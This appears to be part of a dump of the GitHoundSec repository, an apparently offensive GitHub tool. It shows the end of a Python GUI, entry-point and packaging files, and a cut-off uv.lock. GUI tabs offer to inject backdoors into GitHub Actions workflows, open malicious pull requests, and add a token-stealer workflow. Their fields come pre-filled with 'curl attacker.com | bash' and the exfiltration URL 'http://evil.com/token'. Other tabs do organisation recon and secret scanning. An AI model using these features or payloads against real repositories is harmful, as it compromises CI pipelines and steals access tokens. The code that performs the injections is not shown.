453 | repo_url = self.pr_repo_entry.get().strip() 454 | payload = self.pr_payload_entry.get().strip() 455 | token = self.pr_token_entry.get().strip() 456 | interactive = self.pr_interactive_checkbox_var.get() 457 | terminal_cmds = self.pr_terminal_entry.get("1.0", "end").strip() 458 | 459 | self.pr_output.delete("1.0", "end") 460 | 461 | if not repo_url or not payload or not token: 462 | messagebox.showerror("Error", "All fields (Repo URL, Payload, Token) are required.") 463 | return 464 | 465 | try: 466 | result = simulate_malicious_pr( 467 | repo_url=repo_url, 468 | github_token=token, 469 | payload_cmd=payload, 470 | interactive=interactive, 471 | terminal_input=terminal_cmds 472 | ) 473 | self.pr_output.insert("end", f"{result}\n") 474 | except Exception as e: 475 | self.pr_output.insert("end", f"❌ Error: {str(e)}\n") 476 | 477 | def setup_exploit_tab(self): 478 | self.exploit_label = ctk.CTkLabel(self.exploit_tab, text="Path to local cloned repo (e.g., temp_repos/repo):") 479 | self.exploit_label.pack(pady=5) 480 | self.exploit_entry = ctk.CTkEntry(self.exploit_tab, width=500) 481 | self.exploit_entry.pack(pady=5) 482 | 483 | self.exploit_button = ctk.CTkButton(self.exploit_tab, text="Scan Workflows", command=self.run_workflow_exploit_scan) 484 | self.exploit_button.pack(pady=10) 485 | 486 | self.exploit_output = ctk.CTkTextbox(self.exploit_tab, width=650, height=400) 487 | self.exploit_output.pack(pady=10) 488 | 489 | def run_workflow_exploit_scan(self): 490 | repo_path = self.exploit_entry.get().strip() 491 | self.exploit_output.delete("1.0", "end") 492 | 493 | if not repo_path or not os.path.exists(repo_path): 494 | messagebox.showerror("Error", "Invalid repository path.") 495 | return 496 | 497 | try: 498 | findings = find_insecure_workflows(repo_path) 499 | for f in findings: 500 | self.exploit_output.insert("end", f + "\n") 501 | except Exception as e: 502 | self.exploit_output.insert("end", f"❌ Error: {str(e)}\n") 503 | 504 | def setup_typo_tab(self): 505 | self.typo_label = ctk.CTkLabel(self.typo_tab, text="Organization name:") 506 | self.typo_label.pack(pady=5) 507 | self.typo_entry = ctk.CTkEntry(self.typo_tab, width=500) 508 | self.typo_entry.pack(pady=5) 509 | 510 | self.typo_token_label = ctk.CTkLabel(self.typo_tab, text="GitHub Token (optional):") 511 | self.typo_token_label.pack(pady=5) 512 | self.typo_token_entry = ctk.CTkEntry(self.typo_tab, width=500, show="*") 513 | self.typo_token_entry.pack(pady=5) 514 | 515 | self.typo_button = ctk.CTkButton(self.typo_tab, text="Detect Typosquat Repos", command=self.run_typosquat_scan) 516 | self.typo_button.pack(pady=10) 517 | 518 | self.typo_output = ctk.CTkTextbox(self.typo_tab, width=650, height=400) 519 | self.typo_output.pack(pady=10) 520 | 521 | def run_typosquat_scan(self): 522 | org = self.typo_entry.get().strip() 523 | token = self.typo_token_entry.get().strip() 524 | self.typo_output.delete("1.0", "end") 525 | 526 | if not org: 527 | messagebox.showerror("Error", "Please enter the organization name.") 528 | return 529 | 530 | try: 531 | results = detect_typosquat_repos(org_name=org, token=token) 532 | for line in results: 533 | self.typo_output.insert("end", line + "\n") 534 | except Exception as e: 535 | self.typo_output.insert("end", f"❌ Error: {str(e)}\n") 536 | 537 | def setup_zombie_tab(self): 538 | self.zombie_label = ctk.CTkLabel(self.zombie_tab, text="Path to local cloned repo (e.g., temp_repos/repo):") 539 | self.zombie_label.pack(pady=5) 540 | self.zombie_entry = ctk.CTkEntry(self.zombie_tab, width=500) 541 | self.zombie_entry.pack(pady=5) 542 | 543 | self.zombie_button = ctk.CTkButton(self.zombie_tab, text="Scan Zombie Secrets", command=self.run_zombie_scan) 544 | self.zombie_button.pack(pady=10) 545 | 546 | self.zombie_output = ctk.CTkTextbox(self.zombie_tab, width=650, height=400) 547 | self.zombie_output.pack(pady=10) 548 | 549 | def run_zombie_scan(self): 550 | path = self.zombie_entry.get().strip() 551 | self.zombie_output.delete("1.0", "end") 552 | 553 | if not path or not os.path.exists(path): 554 | messagebox.showerror("Error", "Invalid repository path.") 555 | return 556 | 557 | try: 558 | results = zombie_secrets_scan(path) 559 | for line in results: 560 | self.zombie_output.insert("end", line + "\n") 561 | except Exception as e: 562 | self.zombie_output.insert("end", f"❌ Error: {str(e)}\n") 563 | 564 | def setup_apt_tab(self): 565 | self.apt_label = ctk.CTkLabel(self.apt_tab, text="GitHub Organization:") 566 | self.apt_label.pack(pady=5) 567 | self.apt_entry = ctk.CTkEntry(self.apt_tab, width=500) 568 | self.apt_entry.pack(pady=5) 569 | 570 | self.apt_token_label = ctk.CTkLabel(self.apt_tab, text="GitHub Token (optional):") 571 | self.apt_token_label.pack(pady=5) 572 | self.apt_token_entry = ctk.CTkEntry(self.apt_tab, width=500, show="*") 573 | self.apt_token_entry.pack(pady=5) 574 | 575 | self.apt_button = ctk.CTkButton(self.apt_tab, text="Start Recon", command=self.run_apt_scan) 576 | self.apt_button.pack(pady=10) 577 | 578 | self.apt_output = ctk.CTkTextbox(self.apt_tab, width=650, height=500) 579 | self.apt_output.pack(pady=10) 580 | 581 | def run_apt_scan(self): 582 | org = self.apt_entry.get().strip() 583 | token = self.apt_token_entry.get().strip() 584 | self.apt_output.delete("1.0", "end") 585 | 586 | if not org: 587 | messagebox.showerror("Error", "Please enter the organization name.") 588 | return 589 | 590 | try: 591 | results = apt_recon(org_name=org, token=token) 592 | for line in results: 593 | self.apt_output.insert("end", line + "\n") 594 | except Exception as e: 595 | self.apt_output.insert("end", f"❌ Error: {str(e)}\n") 596 | 597 | def setup_shadow_tab(self): 598 | self.shadow_label = ctk.CTkLabel(self.shadow_tab, text="GitHub Organization:") 599 | self.shadow_label.pack(pady=5) 600 | self.shadow_entry = ctk.CTkEntry(self.shadow_tab, width=500) 601 | self.shadow_entry.pack(pady=5) 602 | 603 | self.shadow_token_label = ctk.CTkLabel(self.shadow_tab, text="GitHub Token (optional):") 604 | self.shadow_token_label.pack(pady=5) 605 | self.shadow_token_entry = ctk.CTkEntry(self.shadow_tab, width=500, show="*") 606 | self.shadow_token_entry.pack(pady=5) 607 | 608 | self.shadow_button = ctk.CTkButton(self.shadow_tab, text="Scan for Shadow Repos", command=self.run_shadow_scan) 609 | self.shadow_button.pack(pady=10) 610 | 611 | self.shadow_output = ctk.CTkTextbox(self.shadow_tab, width=650, height=500) 612 | self.shadow_output.pack(pady=10) 613 | 614 | def run_shadow_scan(self): 615 | org = self.shadow_entry.get().strip() 616 | token = self.shadow_token_entry.get().strip() 617 | self.shadow_output.delete("1.0", "end") 618 | 619 | if not org: 620 | messagebox.showerror("Error", "Please enter the organization name.") 621 | return 622 | 623 | try: 624 | results = detect_shadow_repo_candidates(org_name=org, token=token) 625 | for line in results: 626 | self.shadow_output.insert("end", line + "\n") 627 | except Exception as e: 628 | self.shadow_output.insert("end", f"❌ Error: {str(e)}\n") 629 | 630 | def setup_backdoor_tab(self): 631 | self.backdoor_label = ctk.CTkLabel(self.backdoor_tab, text="Path to local cloned repo (e.g., temp_repos/repo):") 632 | self.backdoor_label.pack(pady=5) 633 | self.backdoor_entry = ctk.CTkEntry(self.backdoor_tab, width=500) 634 | self.backdoor_entry.pack(pady=5) 635 | 636 | self.backdoor_payload_label = ctk.CTkLabel(self.backdoor_tab, text="Payload Command (e.g., curl attacker.com | bash):") 637 | self.backdoor_payload_label.pack(pady=5) 638 | self.backdoor_payload_entry = ctk.CTkEntry(self.backdoor_tab, width=500) 639 | self.backdoor_payload_entry.insert(0, "curl attacker.com | bash") 640 | self.backdoor_payload_entry.pack(pady=5) 641 | 642 | self.backdoor_button = ctk.CTkButton(self.backdoor_tab, text="Inject Workflow Backdoor", command=self.run_backdoor_injection) 643 | self.backdoor_button.pack(pady=10) 644 | 645 | self.backdoor_output = ctk.CTkTextbox(self.backdoor_tab, width=650, height=300) 646 | self.backdoor_output.pack(pady=10) 647 | 648 | def run_backdoor_injection(self): 649 | repo_path = self.backdoor_entry.get().strip() 650 | payload = self.backdoor_payload_entry.get().strip() 651 | self.backdoor_output.delete("1.0", "end") 652 | 653 | if not repo_path: 654 | messagebox.showerror("Error", "Please enter the repo path.") 655 | return 656 | 657 | try: 658 | result = inject_workflow_backdoor(repo_path, payload) 659 | self.backdoor_output.insert("end", result + "\n") 660 | except Exception as e: 661 | self.backdoor_output.insert("end", f"❌ Error: {str(e)}\n") 662 | 663 | def setup_stealer_tab(self): 664 | self.stealer_label = ctk.CTkLabel(self.stealer_tab, text="Path to local cloned repo (e.g., temp_repos/repo):") 665 | self.stealer_label.pack(pady=5) 666 | self.stealer_entry = ctk.CTkEntry(self.stealer_tab, width=500) 667 | self.stealer_entry.pack(pady=5) 668 | 669 | self.stealer_url_label = ctk.CTkLabel(self.stealer_tab, text="Exfiltration URL (e.g., http://evil.com/token):") 670 | self.stealer_url_label.pack(pady=5) 671 | self.stealer_url_entry = ctk.CTkEntry(self.stealer_tab, width=500) 672 | self.stealer_url_entry.insert(0, "http://evil.com/token") 673 | self.stealer_url_entry.pack(pady=5) 674 | 675 | self.stealer_button = ctk.CTkButton(self.stealer_tab, text="Inject Token Stealer", command=self.run_token_stealer) 676 | self.stealer_button.pack(pady=10) 677 | 678 | self.stealer_output = ctk.CTkTextbox(self.stealer_tab, width=650, height=300) 679 | self.stealer_output.pack(pady=10) 680 | 681 | def run_token_stealer(self): 682 | repo_path = self.stealer_entry.get().strip() 683 | exfil_url = self.stealer_url_entry.get().strip() 684 | self.stealer_output.delete("1.0", "end") 685 | 686 | if not repo_path: 687 | messagebox.showerror("Error", "Please enter the repo path.") 688 | return 689 | 690 | try: 691 | result = inject_token_stealer_workflow(repo_path, exfil_url) 692 | self.stealer_output.insert("end", result + "\n") 693 | except Exception as e: 694 | self.stealer_output.insert("end", f"❌ Error: {str(e)}\n") 695 | 696 | def setup_prbackdoor_tab(self): 697 | self.prb_label = ctk.CTkLabel(self.prbackdoor_tab, text="Path to local cloned repo (e.g., temp_repos/repo):") 698 | self.prb_label.pack(pady=5) 699 | self.prb_entry = ctk.CTkEntry(self.prbackdoor_tab, width=500) 700 | self.prb_entry.pack(pady=5) 701 | 702 | self.prb_payload_label = ctk.CTkLabel(self.prbackdoor_tab, text="Payload Command (e.g., curl attacker.com | bash):") 703 | self.prb_payload_label.pack(pady=5) 704 | self.prb_payload_entry = ctk.CTkEntry(self.prbackdoor_tab, width=500) 705 | self.prb_payload_entry.insert(0, "curl attacker.com | bash") 706 | self.prb_payload_entry.pack(pady=5) 707 | 708 | self.prb_button = ctk.CTkButton(self.prbackdoor_tab, text="Inject Backdoor via PR", command=self.run_prbackdoor) 709 | self.prb_button.pack(pady=10) 710 | 711 | self.prb_output = ctk.CTkTextbox(self.prbackdoor_tab, width=650, height=300) 712 | self.prb_output.pack(pady=10) 713 | 714 | def run_prbackdoor(self): 715 | repo_path = self.prb_entry.get().strip() 716 | payload = self.prb_payload_entry.get().strip() 717 | self.prb_output.delete("1.0", "end") 718 | 719 | if not repo_path: 720 | messagebox.showerror("Error", "Please enter the repo path.") 721 | return 722 | 723 | try: 724 | result = inject_workflow_backdoor_pr(repo_path, payload) 725 | self.prb_output.insert("end", result + "\n") 726 | except Exception as e: 727 | self.prb_output.insert("end", f"❌ Error: {str(e)}\n") 728 | 729 | def setup_gitdir_tab(self): 730 | self.gitdir_label = ctk.CTkLabel(self.gitdir_tab, text="Domain to scan for .git exposure:") 731 | self.gitdir_label.pack(pady=5) 732 | self.gitdir_entry = ctk.CTkEntry(self.gitdir_tab, width=500) 733 | self.gitdir_entry.pack(pady=5) 734 | 735 | self.gitdir_button = ctk.CTkButton(self.gitdir_tab, text="Scan .git Directories", command=self.run_gitdir_scan) 736 | self.gitdir_button.pack(pady=10) 737 | 738 | self.gitdir_output = ctk.CTkTextbox(self.gitdir_tab, width=650, height=400) 739 | self.gitdir_output.pack(pady=10) 740 | 741 | def run_gitdir_scan(self): 742 | domain = self.gitdir_entry.get().strip() 743 | self.gitdir_output.delete("1.0", "end") 744 | 745 | if not domain: 746 | messagebox.showerror("Error", "Please enter a domain.") 747 | return 748 | 749 | try: 750 | results = find_git_directories(domain) 751 | for line in results: 752 | self.gitdir_output.insert("end", line + "\n") 753 | except Exception as e: 754 | self.gitdir_output.insert("end", f"❌ Error: {str(e)}\n") 755 | 756 | if __name__ == "__main__": 757 | app = GitHoundSecApp() 758 | app.mainloop() 759 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | # main.py 2 | 3 | import sys 4 | import os 5 | 6 | # Adiciona o caminho do frontend e backend ao sys.path 7 | sys.path.append(os.path.join(os.path.dirname(__file__), "frontend")) 8 | sys.path.append(os.path.join(os.path.dirname(__file__), "backend")) 9 | 10 | # Importa e executa a interface principal 11 | from main_gui import GitHoundSecApp 12 | 13 | if __name__ == "__main__": 14 | app = GitHoundSecApp() 15 | app.mainloop() 16 | -------------------------------------------------------------------------------- /outputs/phishing/teste: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/outputs/phishing/teste -------------------------------------------------------------------------------- /outputs/teste: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/outputs/teste -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [project] 2 | name = "githoundsec" 3 | version = "0.1.0" 4 | description = "Add your description here" 5 | readme = "README.md" 6 | requires-python = ">=3.12" 7 | dependencies = [ 8 | "customtkinter>=5.2.2", 9 | "jinja2>=3.1.6", 10 | "pygithub>=2.6.1", 11 | "pyvis>=0.3.2", 12 | "pyyaml>=6.0.2", 13 | "requests>=2.32.3", 14 | "weasyprint>=65.1", 15 | ] 16 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | customtkinter 2 | PyGithub 3 | requests 4 | pyyaml 5 | Jinja2 6 | WeasyPrint 7 | -------------------------------------------------------------------------------- /temp_repos/test: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/temp_repos/test -------------------------------------------------------------------------------- /uv.lock: -------------------------------------------------------------------------------- 1 | version = 1 2 | requires-python = ">=3.12" 3 | 4 | [[package]] 5 | name = "asttokens" 6 | version = "3.0.0" 7 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 8 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/asttokens/3/asttokens-3.0.0.tar.gz", hash = "sha256:0dcd8baa8d62b0c1d118b399b2ddba3c4aff271d0d7a9e0d4c1681c79035bbc7" } 9 | wheels = [ 10 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/asttokens/3/asttokens-3.0.0-py3-none-any.whl", hash = "sha256:e3078351a059199dd5138cb1c706e6430c05eff2ff136af5eb4790f9d28932e2" }, 11 | ] 12 | 13 | [[package]] 14 | name = "brotli" 15 | version = "1.1.0" 16 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 17 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0.tar.gz", hash = "sha256:81de08ac11bcb85841e440c13611c00b67d3bf82698314928d0b676362546724" } 18 | wheels = [ 19 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:32d95b80260d79926f5fab3c41701dbb818fde1c9da590e77e571eefd14abe28" }, 20 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b760c65308ff1e462f65d69c12e4ae085cff3b332d894637f6273a12a482d09f" }, 21 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:316cc9b17edf613ac76b1f1f305d2a748f1b976b033b049a6ecdfd5612c70409" }, 22 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:caf9ee9a5775f3111642d33b86237b05808dafcd6268faa492250e9b78046eb2" }, 23 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:70051525001750221daa10907c77830bc889cb6d865cc0b813d9db7fefc21451" }, 24 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7f4bf76817c14aa98cc6697ac02f3972cb8c3da93e9ef16b9c66573a68014f91" }, 25 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d0c5516f0aed654134a2fc936325cc2e642f8a0e096d075209672eb321cff408" }, 26 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6c3020404e0b5eefd7c9485ccf8393cfb75ec38ce75586e046573c9dc29967a0" }, 27 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:4ed11165dd45ce798d99a136808a794a748d5dc38511303239d4e2363c0695dc" }, 28 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:4093c631e96fdd49e0377a9c167bfd75b6d0bad2ace734c6eb20b348bc3ea180" }, 29 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_1_ppc64le.whl", hash = "sha256:7e4c4629ddad63006efa0ef968c8e4751c5868ff0b1c5c40f76524e894c50248" }, 30 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:861bf317735688269936f755fa136a99d1ed526883859f86e41a5d43c61d8966" }, 31 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:87a3044c3a35055527ac75e419dfa9f4f3667a1e887ee80360589eb8c90aabb9" }, 32 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:c5529b34c1c9d937168297f2c1fde7ebe9ebdd5e121297ff9c043bdb2ae3d6fb" }, 33 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:ca63e1890ede90b2e4454f9a65135a4d387a4585ff8282bb72964fab893f2111" }, 34 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e79e6520141d792237c70bcd7a3b122d00f2613769ae0cb61c52e89fd3443839" }, 35 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-win32.whl", hash = "sha256:5f4d5ea15c9382135076d2fb28dde923352fe02951e66935a9efaac8f10e81b0" }, 36 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:906bc3a79de8c4ae5b86d3d75a8b77e44404b0f4261714306e3ad248d8ab0951" }, 37 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:8bf32b98b75c13ec7cf774164172683d6e7891088f6316e54425fde1efc276d5" }, 38 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7bc37c4d6b87fb1017ea28c9508b36bbcb0c3d18b4260fcdf08b200c74a6aee8" }, 39 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c0ef38c7a7014ffac184db9e04debe495d317cc9c6fb10071f7fefd93100a4f" }, 40 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91d7cc2a76b5567591d12c01f019dd7afce6ba8cba6571187e21e2fc418ae648" }, 41 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a93dde851926f4f2678e704fadeb39e16c35d8baebd5252c9fd94ce8ce68c4a0" }, 42 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f0db75f47be8b8abc8d9e31bc7aad0547ca26f24a54e6fd10231d623f183d089" }, 43 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6967ced6730aed543b8673008b5a391c3b1076d834ca438bbd70635c73775368" }, 44 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:7eedaa5d036d9336c95915035fb57422054014ebdeb6f3b42eac809928e40d0c" }, 45 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:d487f5432bf35b60ed625d7e1b448e2dc855422e87469e3f450aa5552b0eb284" }, 46 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:832436e59afb93e1836081a20f324cb185836c617659b07b129141a8426973c7" }, 47 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-win32.whl", hash = "sha256:43395e90523f9c23a3d5bdf004733246fba087f2948f87ab28015f12359ca6a0" }, 48 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotli/1.1/Brotli-1.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:9011560a466d2eb3f5a6e4929cf4a09be405c64154e12df0dd72713f6500e32b" }, 49 | ] 50 | 51 | [[package]] 52 | name = "brotlicffi" 53 | version = "1.1.0.0" 54 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 55 | dependencies = [ 56 | { name = "cffi" }, 57 | ] 58 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotlicffi/1.1/brotlicffi-1.1.0.0.tar.gz", hash = "sha256:b77827a689905143f87915310b93b273ab17888fd43ef350d4832c4a71083c13" } 59 | wheels = [ 60 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotlicffi/1.1/brotlicffi-1.1.0.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9b7ae6bd1a3f0df532b6d67ff674099a96d22bc0948955cb338488c31bfb8851" }, 61 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotlicffi/1.1/brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:19ffc919fa4fc6ace69286e0a23b3789b4219058313cf9b45625016bf7ff996b" }, 62 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotlicffi/1.1/brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9feb210d932ffe7798ee62e6145d3a757eb6233aa9a4e7db78dd3690d7755814" }, 63 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotlicffi/1.1/brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:84763dbdef5dd5c24b75597a77e1b30c66604725707565188ba54bab4f114820" }, 64 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotlicffi/1.1/brotlicffi-1.1.0.0-cp37-abi3-win32.whl", hash = "sha256:1b12b50e07c3911e1efa3a8971543e7648100713d4e0971b13631cce22c587eb" }, 65 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/brotlicffi/1.1/brotlicffi-1.1.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:994a4f0681bb6c6c3b0925530a1926b7a189d878e6e5e38fae8efa47c5d9c613" }, 66 | ] 67 | 68 | [[package]] 69 | name = "certifi" 70 | version = "2025.4.26" 71 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 72 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/certifi/2025.4.26/certifi-2025.4.26.tar.gz", hash = "sha256:0a816057ea3cdefcef70270d2c515e4506bbc954f417fa5ade2021213bb8f0c6" } 73 | wheels = [ 74 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/certifi/2025.4.26/certifi-2025.4.26-py3-none-any.whl", hash = "sha256:30350364dfe371162649852c63336a15c70c6510c2ad5015b21c2345311805f3" }, 75 | ] 76 | 77 | [[package]] 78 | name = "cffi" 79 | version = "1.17.1" 80 | source = { registry = "https://pkgs.dev.azure.com/toqua/_packaging/toqua/pypi/simple/" } 81 | dependencies = [ 82 | { name = "pycparser" }, 83 | ] 84 | sdist = { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1.tar.gz", hash = "sha256:1c39c6016c32bc48dd54561950ebd6836e1670f2ae46128f67cf49e789c52824" } 85 | wheels = [ 86 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:805b4371bf7197c329fcb3ead37e710d1bca9da5d583f5073b799d5c5bd1eee4" }, 87 | { url = "https://pkgs.dev.azure.com/toqua/_packaging/eed14021-87e9-432b-b42b-7f2ef6358522/pypi/download/cffi/1.17.1/cffi-1.17.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:733e99bc2df47476e3848417c5a4540522f234dfd4ef3ab7fafdf555b082ec0c" }, 88 | { url = 